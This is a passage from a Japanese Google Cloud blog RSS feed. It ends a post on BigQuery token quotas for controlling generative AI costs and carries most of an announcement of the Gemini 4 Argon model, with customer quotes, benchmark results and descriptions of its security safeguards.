&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;実際の入力と出力の使用量を測定する小規模なサンプル実行と組み合わせて、&lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;割り当てを適正化&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;する。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;モデルについて公開されている &lt;/span&gt;&lt;a href="https://cloud.google.com/vertex-ai/generative-ai/pricing"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Gemini プラットフォームの料金&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;を使用して、&lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;トークンをドルに換算&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;する。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;トークンから予算まで: 具体例&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;たとえば、&lt;/span&gt;&lt;a href="https://docs.cloud.google.com/gemini-enterprise-agent-platform/models/gemini/3-1-flash-lite"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Gemini 3.1 Flash-Lite&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; モデルを使用した、プロジェクトの 1 日あたりの AI 費用を &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;$100&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; 程度に抑えたいとします。現時点で公開されている料金は以下のとおりです（BigQuery はバッチ処理を行うため、50% 割引が適用されます）。&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;入力トークン:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; 100 万トークンあたり $0.125&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;出力トークン（回答 + 推論）:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; 100 万トークンあたり $0.75&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;小規模なサンプル実行で、&lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;入力トークンと出力トークンの比率が平均 100:1&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; であることがわかった場合、1 日の予算を次のように計算できます。&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;#x27;Cost:   0.125 × I + 0.75 × O = 100     (I, O in millions of tokens)\r\nRatio:  I = 100 × O&amp;#x27;), (&amp;#x27;language&amp;#x27;, &amp;#x27;&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fac26aae850&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;この計算式で計算すると、1 日あたり約 &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;7 億 5,400 万の入力トークン&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;と &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;754 万の出力トークン&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;になります。&lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;1 日あたりの AI 入力トークン数&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;と &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;1 日あたりの AI 出力トークン数&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;をこれらの値に設定して、プロジェクトの費用を 1 日あたり約 100 ドルに抑えます。プロジェクトで異なる料金のモデルを使用する場合は、モデルごとに予算を設定するか、平均料金に基づいて予算を設定します。&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;AI 費用管理のベスト プラクティス&lt;/strong&gt;&lt;/h4&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;ユーザーごとの割り当てから始めます。&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;これにより、1 人のユーザーや暴走したテストによってプロジェクトの予算が使い果たされるのを防ぐことができます。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;規模を拡大する前に測定します。&lt;/strong&gt;&lt;code style="vertical-align: baseline;"&gt;AI.COUNT_TOKENS&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; を使用して入力のサイズを測定し、使用量グラフで小規模なサンプル実行を確認してから、上限を設定します。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;出力側を意識します。&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;出力トークンは費用が高くなります。関数で &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;max_output_tokens&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; を使用できる場合は、生成の長さを制限するように設定します。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;モニタリングと反復処理を行います。&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;実際の使用量と予算の変化に応じて上限を調整します。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;使ってみる&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;トークンベースの費用管理が利用可能になりました。手順は次のとおりです。&lt;/span&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Google Cloud コンソールで &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;[IAM と管理] →&lt;/strong&gt;&lt;a href="https://console.cloud.google.com/iam-admin/quotas/list"&gt;&lt;strong style="vertical-align: baseline;"&gt; &lt;/strong&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;[割り当てとシステム上限]&lt;/strong&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; を開き、[&lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;BigQuery API&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;] でフィルタします。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;AI 関連&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;の 4 つの&lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;トークン割り当て&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;を確認し、予算に合った上限を設定します。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;a href="https://docs.cloud.google.com/bigquery/docs/reference/standard-sql/bigqueryml-syntax-ai-count-tokens"&gt;&lt;code style="text-decoration: underline; vertical-align: baseline;"&gt;AI.COUNT_TOKENS&lt;/code&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; を使用して、入力データのサイズを測定します。&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;詳細については、&lt;/span&gt;&lt;a href="https://docs.cloud.google.com/bigquery/docs/control-genai-costs"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;生成 AI の費用の管理&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;に関するドキュメントをご覧ください。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;トークンベースのガードレールを導入することで、組織が必要とする費用の予測可能性を確保しながら、BigQuery で生成 AI を使用できます。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="font-style: italic; vertical-align: baseline;"&gt;- &lt;/strong&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;ソフトウェア エンジニア、&lt;/span&gt;&lt;strong style="font-style: italic; vertical-align: baseline;"&gt;Tushar Jaiswal&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="font-style: italic; vertical-align: baseline;"&gt;- &lt;/strong&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;デベロッパー アドボケイト、&lt;/span&gt;&lt;strong style="font-style: italic; vertical-align: baseline;"&gt;Alicia Williams&lt;/strong&gt;&lt;/p&gt;&lt;/div&gt;</description><pubDate>Wed, 21 Oct 2026 17:00:00 +0000</pubDate><guid>https://cloud.google.com/blog/ja/products/data-analytics/using-bigquerys-generative-ai-cost-management-features/</guid><category>AI &amp; Machine Learning</category><category>BigQuery</category><category>Data Analytics</category><og xmlns:og="http://ogp.me/ns#"><type>article</type><title>BigQuery で AI 費用を予測可能に: 生成 AI 関数の費用管理のご紹介</title><description></description><site_name>Google</site_name><url>https://cloud.google.com/blog/ja/products/data-analytics/using-bigquerys-generative-ai-cost-management-features/</url></og><author xmlns:author="http://www.w3.org/2005/Atom"><name>Tushar Jaiswal</name><title>Software Engineer</title><department></department><company></company></author><author xmlns:author="http://www.w3.org/2005/Atom"><name>Alicia Williams</name><title>Developer Advocate</title><department></department><company></company></author></item><item><title>Google Cloud で Gemini 4 Argon が利用可能に：ビジネスの最も困難な課題解決をサポート</title><link>https://cloud.google.com/blog/ja/products/ai-machine-learning/gemini-4-argon-available-on-google-cloud/</link><description>&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;※この投稿は米国時間 2026 年 10 月 14 日に、Google Cloud blog に&lt;/span&gt;&lt;a href="https://cloud.google.com/blog/products/ai-machine-learning/gemini-4-argon-available-on-google-cloud?e=48754805&amp;amp;hl=en"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;投稿&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;されたものの抄訳です。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;先週、Google は Gemini Enterprise が進化し、業務をさらに簡単に完了できるようになったことを発表しました。また、あらゆる業務に対応する新しい万能エージェント、&lt;/span&gt;&lt;a href="https://cloud.google.com/blog/ja/products/ai-machine-learning/welcome-to-gemini-at-work-2026"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;Gemini エージェント&lt;/strong&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;も紹介しました。常時稼働しており、いつでも質問に答えてくれます。コードの生成、より長く複雑なタスクの処理、業務を遂行するために必要なあらゆる作業を、すべて 1 つのプロンプト ボックスから実行できます。そして、そのすべてをモデル インテリジェンスが支えています。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;新たな働き方を実現するため、Google は新しいフロンティア モデルである &lt;/span&gt;&lt;a href="https://deepmind.google/models/gemini/" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Gemini 4 Argon&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; を Google Cloud で提供開始します。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Argon は、高度な思考力と正確性を併せ持つようにトレーニングされています。そのため、複数のステップからなる長いタスクでも一貫してコンテキストを維持でき、専門的な知識を活用しながら処理を進めることができます。チームが複雑なソフトウェア ビルドを実行する場合も、財務や法務の詳細な作業を処理する場合も、&lt;/span&gt;&lt;a href="https://cloud.google.com/security/codemender"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;CodeMender&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; のようなサイバーセキュリティ ツールを導入する場合も、Argon はチームが最初から最後まで集中して作業を進められるよう支援します。&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Gemini_4_Logo_Wall_3.max-1000x1000.png"
        
          alt="Logo Wall Argon V3"&gt;
        
        &lt;/a&gt;
      
        &lt;figcaption class="article-image__caption "&gt;&lt;p data-block-key="l3qrs"&gt;Gemini 4 Argon をご利用中のお客様とパートナー&lt;/p&gt;&lt;/figcaption&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;Argon がビジネスのあり方を変える 4 つの方法&lt;/strong&gt;&lt;/h4&gt;
&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;1. 面倒な作業を委任可能&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;皆様のチームでも、質問への回答やコンテンツの下書きに Gemini for Business をすでにご活用いただいているかと思います。Argon を使用すると、これまで数時間から数日かかっていた、複数のステップからなる複雑な作業を任せ、すぐに使える完成した成果物を受け取ることができます。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Argon は、テキスト、表、グラフ、画像が混在する長文ドキュメントを読み取り、それらのソースを確実な根拠とした 1 つの明確なアウトプットを生成します。多数のソースから得られた知見を 1 つの構造化された回答にまとめ、経時的なデータ分析を行い、法務、財務、経営に関するより完成度の高い文書を作成できます。時間のかかるタスクであっても、処理が完了するまで途切れることなく実行し続けます。Argon は、システムの権限や制約を遵守し、ネガティブな検出結果も隠さず報告し、元に戻せない操作を行う前には必ずユーザーの確認を挟むようトレーニングされています。また、目的のデータが見つからなかった場合やタスクを完了できなかった場合も、その旨を明確に通知します。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Argon をテストしたお客様からは、膨大な非構造化データをまとまりのあるアウトプットに変換する能力が非常に優れている、という声が寄せられています。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;「ソフトウェア開発がよりエージェント指向になるにつれ、開発ライフサイクルのすべての段階で、長時間にわたるマルチステップの作業をサポートできるモデルがチームに必要になります。Gemini 4 Argon は、組織が開発、セキュリティ、運用の領域に AI を導入する際、既存のエンタープライズ ワークフローや統制の枠組みを維持できるよう設計されています。」&lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;– GitLab、バイス プレジデント、Stuart Moncada 氏&lt;/strong&gt;&lt;/p&gt;
&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;2. ビジネスを推進する重要業務において、正確かつ検証可能な結果を実現&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;財務、法務、税務をはじめとする規制対象の業務では、計算やデータ抽出における高い正確性、再現性、そして検証可能性が求められます。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;財務定量業務において、Argon は複数ステップにわたる元帳照合、スプレッドシートの数式設定、差異分析の自動化をサポートします。定量モデル全体で、計算の整合性、引用の忠実度、数式の精度を高く保ちます。数字がそれを証明しています。Argon は、財務、コーディング、法務、税務の業務における経済効果を測定する&lt;/span&gt;&lt;a href="https://www.vals.ai/benchmarks/vals_index" rel="noopener" target="_blank"&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Vals Index&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; で首位を獲得しています。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;法務調査において、Argon は法務チームによる判例法や規制当局への提出書類の確認をサポートし、検証済みの引用や重要な判例の抽出を支援します。法務調査や文書作成に関する Harvey の Legal Agent Benchmark などの分野固有の評価でトップに立っており、チームが複雑な判例を検討する際にも、正確な引用とともに的確で直接的な回答を提供します&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;「Gemini 4 Argon は、Google がエージェントによる法的推論においてどれほど進歩したかを示しています。当社の法務エージェント評価では、特に企業の M&amp;amp;A、データ プライバシーとサイバーセキュリティ、EC / VC において、Gemini 3.1 Pro と比較して大幅な向上が見られました。長いドキュメントの分析でも精度が維持され、詳細な取引事項を扱う弁護士にとって心強い結果となりました。」&lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;– Harvey、応用研究責任者、Niko Grupen 氏&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;「当社は Google と NowAI-Bench で連携し、Gemini 4 を主要なエンタープライズ業務向けに最適化できるよう協力しました。早期アクセスでは、Gemini 3.8 Flash と比較してタスクの成功率が約 20% 向上し、人事とカスタマー サービスで特に大きな成果を上げました。ServiceNow AI Platform では、当社の L1 サービスデスク AI スペシャリストが、ガバナンスの効いた安全な環境のもとで Google の最先端インテリジェンスを活用し、定型タスクを完全自律型の業務へと変革します。」&lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;- ServiceNow、AI プロダクト担当シニア バイス プレジデント、Nenshad Bardoliwalla 氏&lt;/strong&gt;&lt;/p&gt;
&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;3. プロダクトの構築とリリースを迅速化&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Argon は、複数のステップからなる複雑なプロジェクトを、最初から最後まで一貫して処理できるよう設計されています。お客様からは、目標を細分化し、進捗状況を追跡し、複数のファイルを同時に更新できるインテリジェンスを求める声が常に寄せられています。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;「Gemini 4 Argon は、3D ゲームからリッチなアニメーションまで、複雑なタスクを確実に処理します。Figma Make では、チームが抱く複数のステップに及ぶ最も野心的なアイデアを、魅力的なプロトタイプとして具現化するのを強力にサポートします。」&lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;- Figma、最高デザイン責任者、Loredana Crisan 氏 &lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Argon がこうした高度な処理をどれほど優れてこなせるか検証するため、Google 自身のツールで実際に活用してみました。Google のオープンソース Agent Development Kit（ADK）の開発チームは、既存のアプリケーションとの完全な互換性を維持しながら、フレームワークのオーバーヘッドを削減し、コードのパフォーマンスを向上させることに取り組みました。Argon は、自動テストのガードレールのもと夜間に自律的に動作し、コードの最適化ポイントを見つけ出しました。この最適化は現在 google/adk-python に反映されており、長時間のセッションにおけるインメモリ セッション準備時間を 40% 短縮し、コールド インポートを 21% 高速化させています。詳細については、&lt;/span&gt;&lt;a href="https://developers.googleblog.com/optimizing-a-200000-line-python-codebase-overnight-with-gemini-4-argon" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;こちら&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;のエンジニアリング詳細解説をご覧ください。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Google 全体で、Google Antigravity 上で Argon を活用しているエンジニアリング チームは、エージェントによるコード提出量を 35% 以上増加させつつ、コードのロールバックをほぼ 3 分の 1 削減しました。Chrome チームは Argon を使用して、Chromium の 4,000 万行のコードベースにある数百ものファイルにわたるアーキテクチャ リファクタリングを行い、数か月かかる作業をわずか数週間で完遂しました。Argon は空間推論、数学的精度、ビジュアル コーディングが向上しているため、アイデアから実用的なプロトタイプをより迅速に作成できます。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;より高度なアルゴリズムについては、コード最適化および検出エージェントである&lt;/span&gt;&lt;a href="https://cloud.google.com/blog/ja/products/ai-machine-learning/alphaevolve-is-available-for-everyone"&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;AlphaEvolve&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; が&lt;/span&gt;&lt;a href="https://docs.cloud.google.com/gemini/enterprise/docs/alphaevolve/reference-guide/api-reference#supported-models"&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Argon&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; を使用して、工場のスケジューリング、ロジスティクス、ゲームコードの高速化、チップ レイアウトなどの実際のエンタープライズ ワークロードや、複雑な数学的ベンチマークなどで、大幅なパフォーマンス向上を実現しています。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Argon を最大限に活用する方法については、デベロッパー&lt;/span&gt;&lt;a href="https://docs.cloud.google.com/gemini-enterprise-agent-platform/models/guides/gemini-4-argon"&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;ガイド&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;をご覧ください。&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;4. コードとビジネスの防御を強化&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Argon には、ペネトレーション テストや悪用などの攻撃的なタスクをブロックするサイバー攻撃緩和策が備わっていますが、&lt;/span&gt;&lt;a href="https://docs.cloud.google.com/gemini-enterprise-agent-platform/agents/codemender"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;CodeMender&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; を使用して脆弱性を発見および修正したり、独自のセキュリティ ハーネスで Argon を使用したりすることで、その防御機能を最大限に活用できます。CWE-Bench v1 では、セキュリティの脆弱性の修復において最高スコアの 68% を獲得し、1 位タイとなっています。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;「当社では、MarketingX に Gemini 4 Argon を統合して、コードベースのセキュリティ監査を自動化しています。当社の評価では、検証された指摘事項において、モデルは最優先で対応すべき脆弱性を 100% 特定し、架空の脆弱性の誤検知は 0% でした。この精度により、デプロイ前にコードレベルでプロアクティブなセキュリティを確保できます。」&lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;- HubX、AI ラボ最高 AI 責任者、Yunus Emre 氏&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;セキュリティとは、自社の環境内で Argon を信頼できることも意味します。Argon は、悪意のある指示やコンテキストを使用してモデルの動作を乗っ取る間接的なプロンプト インジェクションに対して、これまでで最も高い耐性を備えたモデルです。Gray Swan の間接プロンプト インジェクション ベンチマークでトップに立ち、15 回のアダプティブ攻撃の成功率を 0.7% にまで低減しました。これは、悪意のある指示が隠されている可能性のあるメール、ドキュメント、ウェブページを Argon が読み取る場合に重要です。&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;また、サイバー ガードレールなしの Argon を、信頼できる一部の防御者に提供しています。これにより、サイバーセキュリティ機能の全範囲をテストできます。信頼できる防御者は、&lt;/span&gt;&lt;a href="https://deepmind.google/fairwind-program/" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Fairwind プログラム&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;を通じて審査されます。このプログラムは、政府機関、重要インフラ、サイバーセキュリティ パートナーに、高度なモデルへの独占的かつ無制限のアクセスを提供する、対象者限定の取り組みです。&lt;/span&gt;&lt;/p&gt;
&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;早期アクセス プログラムに参加している企業のお客様やパートナーは、すでに Argon で大きな成果を上げています。&lt;/strong&gt;&lt;/h4&gt;&lt;/div&gt;
&lt;div class="block-video"&gt;



&lt;div class="article-module article-video "&gt;
  &lt;figure&gt;
    &lt;a class="h-c-video h-c-video--marquee"
      href="https://youtube.com/watch?v=opNsprLPCKc"
      data-glue-modal-trigger="uni-modal-opNsprLPCKc-"
      data-glue-modal-disabled-on-mobile="true"&gt;

      
        

        &lt;div class="article-video__aspect-image"
          style="background-image: url(https://storage.googleapis.com/gweb-cloudblog-publish/images/Teaser_2.2_approved.max-1000x1000.png);"&gt;
          &lt;span class="h-u-visually-hidden"&gt;Gemini 4 Argon 実践レポート&lt;/span&gt;
        &lt;/div&gt;
      
      &lt;svg role="img" class="h-c-video__play h-c-icon h-c-icon--color-white"&gt;
        &lt;use xlink:href="#mi-youtube-icon"&gt;&lt;/use&gt;
      &lt;/svg&gt;
    &lt;/a&gt;

    
  &lt;/figure&gt;
&lt;/div&gt;

&lt;div class="h-c-modal--video"
     data-glue-modal="uni-modal-opNsprLPCKc-"
     data-glue-modal-close-label="Close Dialog"&gt;
   &lt;a class="glue-yt-video"
      data-glue-yt-video-autoplay="true"
      data-glue-yt-video-height="99%"
      data-glue-yt-video-vid="opNsprLPCKc"
      data-glue-yt-video-width="100%"
      href="https://youtube.com/watch?v=opNsprLPCKc"
      ng-cloak&gt;
   &lt;/a&gt;
&lt;/div&gt;

&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p style="text-align: center;"&gt;&lt;sup&gt;&lt;em&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;&lt;span style="vertical-align: super;"&gt;Amplitude、Deloitte、楽天のリーダーが Gemini 4 Argon の成果を共有&lt;/span&gt;&lt;/span&gt;&lt;/em&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;h4&gt;&lt;strong style="vertical-align: baseline;"&gt;使ってみる&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;このたび、Gemini 4 Argon がウェブ、デスクトップ、モバイルの&lt;/span&gt;&lt;a href="https://cloud.google.com/gemini-enterprise"&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Gemini for Business&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; でご利用いただけるようになりました。企業のデベロッパーやビルダーは、&lt;/span&gt;&lt;a href="https://console.cloud.google.com/agent-platform/studio/multimodal;mode=prompt?model=gemini-4-argon&amp;amp;region=global"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Gemini プラットフォーム&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;（モデル ID &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;gemini-4-argon&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;）、&lt;/span&gt;&lt;a href="https://aistudio.google.com/" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Google AI Studio&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;、&lt;/span&gt;&lt;a href="https://antigravity.google/blog/gemini-4-argon-in-google-antigravity" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Google Antigravity&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; において、API を介して Argon にアクセスできます。&lt;/span&gt;&lt;/p&gt;
